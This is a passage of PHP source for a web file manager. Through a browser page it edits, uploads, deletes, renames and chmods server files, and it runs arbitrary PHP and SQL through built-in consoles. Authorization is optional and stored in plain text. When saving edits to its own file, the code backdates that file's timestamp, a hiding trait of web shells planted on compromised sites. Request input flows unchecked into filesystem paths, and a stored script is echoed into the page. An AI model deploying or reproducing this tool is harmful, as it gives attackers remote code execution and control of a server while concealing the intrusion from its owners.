AElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
